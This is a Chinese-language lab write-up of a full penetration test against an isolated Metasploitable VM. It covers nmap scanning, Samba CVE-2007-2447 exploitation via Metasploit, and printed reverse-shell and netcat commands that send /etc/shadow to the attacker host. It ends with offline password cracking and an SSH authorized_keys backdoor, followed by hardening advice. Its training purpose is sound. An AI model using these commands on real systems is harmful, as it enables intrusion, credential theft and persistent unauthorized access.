针对 Metasploitable 的完整渗透测试:使用 nmap 进行侦察,使用 Metasploit 进行漏洞利用(CVE-2007-2447),凭据提取与破解,SSH 持久化
在受控且隔离的环境中完成一次真实攻击的完整流程:实验室准备、nmap 侦察、攻击面优先级排序、CVE 映射、Metasploit 漏洞利用、后渗透、凭据提取与破解,以及通过 SSH 密钥注入实现持久化。

msfconsole、nmap、John the Ripper。192.168.64.0/24)。受害机 IP:192.168.64.3。
通过版本扫描精确识别暴露了哪些服务——漏洞影响的是具体版本,而非抽象的服务:
nmap -sV 192.168.64.3
12 个开放端口,全部运行着过时且可利用的版本。
我没有直接攻击第一个开放的端口,而是在选择目标之前按风险类型对服务进行了分类:
选定目标:Samba 3.0.20-Debian——它兼具已记录在案的关键漏洞版本、Metasploit 中可用的 exploit,以及无需预先认证即可执行代码的特性:以最高的可靠性收获最大的影响。
使用 Nmap 脚本引擎(NSE)确认精确版本:
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Samba 3.0.20 存在 CVE-2007-2447 漏洞:username map script 参数不校验输入,攻击者可以直接在用户名字段中注入 shell 命令。由于映射发生在登录之前,因此既不需要有效的用户名,也不需要有效的密码。

msfconsole

搜索对应的模块:
msf > search type:exploit samba

配置并执行:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
立即验证权限——该漏洞直接授予 root 访问权限,无需后续提权:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

通过查看受害机上的进程,可以看到注入的 payload 本身正在运行:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
发送的用户名中包含了命令本身(/=`...`):Samba 未做任何过滤就将其传给 shell,shell 用 mkfifo 创建管道,通过 netcat 建立回连 Kali 的连接,并将 /bin/sh 接入该管道——远程代码执行就这样逐行完成。
使用 netstat -tulnp 枚举内部服务:发现 MySQL 监听在 0.0.0.0:3306——暴露给网络中任意机器,而不仅仅是 localhost。
我没有在受害机上直接尝试破解(这会消耗 CPU、产生噪音、留下痕迹),而是提取哈希并转移到 Kali 上进行离线攻击:
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

通过 netcat 传输并为 John the Ripper 做准备:
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
John 自动执行三个阶段(利用用户自身信息的 single 模式、字典模式、增量暴力破解)。结果:7 个密码中破解了 6 个,其中包括可复用于 SSH、MySQL 和 FTP 的凭据。

利用破解出的凭据,以合法用户身份直接 SSH 访问:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

为了避免依赖可能轮换的密码,我生成了自己的密钥对并添加到受害机的 authorized_keys 中——这个后门在密码变更后依然有效,也不会触发暴力破解告警:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida
此后无需密码即可访问:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

0.0.0.0,Telnet 等遗留协议仍在运行)。删除 Telnet 等不安全协议,更新关键服务和内核本身,限制数据库的直接暴露,实施网络分段,尤其是——鉴于破解密码如此轻而易举——强制执行强健的、不在服务间复用的凭据策略。能够在生产环境中阻止此类攻击的同类检测手段(监控异常出站连接、针对 nc/反弹 shell 的告警),正是我在自己的 Home SOC Lab 中从防御侧开展的工作。
攻击前的优先级排序——弄清哪个服务能以更高的可靠性带来更大的影响,而不是随机试探端口——正是直接导向 Samba 的关键。后渗透阶段,看到注入的命令在 ps aux 中执行,最能说明为什么一个输入校验漏洞会转变成对系统的完全控制。而 SSH 密钥持久化则清楚地表明,一旦进入系统,攻击者的目标不仅仅是"获得访问权",而是悄无声息地、长久地保有这种访问——这更加说明纵深防御不能只依赖单一屏障。
| 端口 | 服务 | 版本 |
|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — 主要目标 |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |